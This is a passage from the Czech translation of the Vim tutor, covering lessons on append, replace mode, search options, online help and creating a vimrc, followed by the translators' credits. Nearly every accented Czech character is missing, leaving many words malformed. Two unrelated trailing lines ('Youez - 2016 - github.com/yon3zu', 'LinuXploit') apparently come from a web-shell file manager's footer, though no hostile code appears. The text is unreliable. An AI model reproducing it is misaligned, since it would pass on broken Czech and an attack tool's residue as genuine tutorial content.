     malho o. Vyzkouej si to na nsledujcm dku.
Vlo dek nad tmto napsnm Shift-O po umstn kurzoru na tento dek.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			  Lekce 6.2: PKAZ PIDAT


	     ** Stiskni  a  pro vloen textu ZA kurzor. **

  1. Pesu kurzor na ne na konec dky oznaen --->
     stisknutm $ v Normlnm mdu.

  2. Stiskni  a  (mal) pro pidn textu ZA znak, kter je pod kurzorem.
     (Velk  A  pid na konec dku.)

Poznmka: Tmto se vyhne stisknut  i  , poslednho znaku, textu na vloen,
          <ESC>, kurzor doprava, a nakonec  x  na pidvn na konec dku!

  3. Nyn dokon prvn dek. Vimni si, e pidvn je vlastn stejn jako
     Vkldac md, krom msta, kam se text vkld.

---> Tento dek ti umouje nacviit
---> Tento dek ti umouje nacviit pidvn textu na konec dky.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      Lekce 6.3: JIN ZPSOB NAHRAZOVN


         ** Napi velk  R  pro nahrazen vc ne jednoho znaku. **

  1. Pesu kurzor na prvn dek oznaen --->.

  2. Umsti kurzor na zatek prvnho slova, kter je odlin od druhho
     dku oznaenho ---> (slovo 'posledn').

  3. Nyn stiskni  R  a nahra zbytek textu na prvnm dku pepsnm
     starho textu tak, aby byl prvn dek stejn jako ten druh.

---> Pro upraven prvnho dku do tvaru toho posledn na stran pouij kl.
---> Pro upraven prvnho dku do tvaru toho druhho, napi R a nov text.

  4. Vimni si, e jakmile stiskne <ESC> vechen nezmnn text zstv.





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		         Lekce 6.4: NASTAVEN MONOST

  ** Nastav monost, e vyhledvn anebo nahrazovn nedb velikosti psmen **

  1. Vyhledej etzec 'ignore' napsnm:
     /ignore
     Zopakuj nkolikrt stisknut klvesy n.

  2. Nastav monost 'ic' (Ignore case) napsnm pkazu:
     :set ic

  3. Nyn znovu vyhledej 'ignore' stisknutm: n
     Nkolikrt hledn zopakuj stisknutm klvesy n.

  4. Nastav monosti 'hlsearch' a 'incsearch':
     :set hls is

  5. Nyn znovu vykonej vyhledvac pkaz a sleduj, co se stane:
     /ignore

  6. Pro vypnut zvrazovn vsledk napi:
     :nohlsearch
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
			       SHRHNUT LEKCE 6


  1. Stisknut  o  oteve nov dek POD kurzorem a umst kurzor na vloen
     dek do Vkldacho mdu.
     Napsn velkho  O  oteve dek NAD dkem, na kterm je kurzor.

  2. Stiskni  a  pro vloen textu ZA znak na pozici kurzoru.
     Napsn velkho  A  automaticky pid text na konec dku.

  3. Stisknut velkho  R  pepne do Nahrazovacho mdu, dokud
     nestiskne <ESC> pro jeho ukonen.

  4. Napsn ":set xxx" nastav monosti "xxx".








~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		      LEKCE 7: PKAZY ON-LINE NPOVDY


		   ** Pouvej on-line systm npovdy **

  Vim m obshl on-line systm npovdy. Pro zatek vyzkouej jeden z
  nsledujcch:
	- stiskni klvesu <HELP> (pokud ji m)
	- stiskni klvesu <F1>  (pokud ji m)
	- napi  :help <ENTER>

  Napi  :q <ENTER>  pro uzaven okna npovdy.

  Me najt npovdu k jakmukoliv tmatu pidnm argumentu k
  pkazu ":help". Zkus tyto (nezapome stisknout <ENTER>):

	:help w
	:help c_<T
	:help insert-index
	:help user-manual


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		  LEKCE 8: VYTVOEN INICIALIZANHO SKRIPTU

		        ** Zapni funkce editoru Vim **

  Vim m daleko vce funkc ne Vi, ale vtina z nich je vypnuta ve vchozm
  nastaven. Pro zapnut nkterch vytvo soubor "vimrc".

  1. Zani upravovat soubor "vimrc". Toto zvis na pouitm systmu:
	:edit ~/.vimrc			pro Unix
	:edit $VIM/_vimrc		pro MS-Windows

  2. Nyn ti ukzkov "vimrc" soubor:

	:read $VIMRUNTIME/vimrc_example.vim

  3. Ulo soubor pomoc:

	:write

  Po ptm startu Vim se zapne zvrazovn syntaxe.
  Do souboru "vimrc" me pidat vechny svoje upednostovan nastaven.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Toto ukonuje vuku Vim, kter byla mylen jako strun pehled
  editoru Vim, tak akort postaujc pro lehk a obstojn pouvn editoru.
  Tato vuka m daleko od plnosti, protoe Vim obsahuje podstatn vce
  pkaz. Dle si peti uivatelsk manul: ":help user-manual".

  Pro dal studium je doporuen kniha:
	Vim - Vi Improved - od Steve Oualline
	Nakladatel: New Riders
  Prvn kniha uren pro Vim. Obzvlt vhodn pro zatenky.
  Obsahuje mnostv pklad a obrzk.
  viz http://iccf-holland.org/click5.html

  Tato kniha je star a vce vnovan Vi ne Vim, ale tak doporuen:
	Learning the Vi Editor - od Linda Lamb
	Nakladatel: O'Reilly & Associates Inc.
  Je to dobr kniha pro zskn vdomost tm o vem, co mete s Vi dlat.
  est vydn obsahuje t informace o Vim.

  Tato vuka byla napsan autory Michael C. Pierce a Robert K. Ware,
  Colorado School of Mines s pouitm mylenek od: Charles Smith,
  Colorado State University.  E-mail: bware@mines.colorado.edu.

  Upravil pro Vim: Bram Moolenaar.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Peklad do etiny: Lubo Turek
  E-Mail: lubos.turek@gmail.com
  2007 Feb 28 

Youez - 2016 - github.com/yon3zu
LinuXploit